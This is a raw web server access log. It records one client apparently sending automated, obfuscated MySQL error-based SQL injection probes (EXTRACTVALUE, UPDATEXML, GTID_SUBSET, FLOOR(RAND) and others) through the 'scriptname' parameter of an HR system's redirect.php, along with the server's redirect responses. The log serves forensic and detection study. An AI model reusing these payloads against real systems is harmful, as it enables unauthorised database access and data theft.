100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d433339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x694a3853%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53317570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a51714e%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x464c744b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49343457%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76315468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x336d3862%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x53396c4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676c5769%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4c457175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34696831%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d433339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x694a3853%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x504b4661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30745231%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x504b4661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30745231%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a43306d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a535352%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a43306d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a535352%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c4f4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44496e31%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c4f4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44496e31%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a306377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63397356%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a306377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63397356%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x73494b45%2C%28NULL%29%2C0x68316258%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x73494b45%2C%28NULL%29%2C0x68316258%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4e614b39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57393146%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4e614b39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57393146%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x3937494a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6573306b%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x3937494a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6573306b%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x72347547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f4e5848%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x72347547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f4e5848%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x34644669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41415159%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x34644669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41415159%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x686a4e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5675376b%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:14 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x686a4e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5675376b%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&userseqno=47810 HTTP/1.1" 302 -
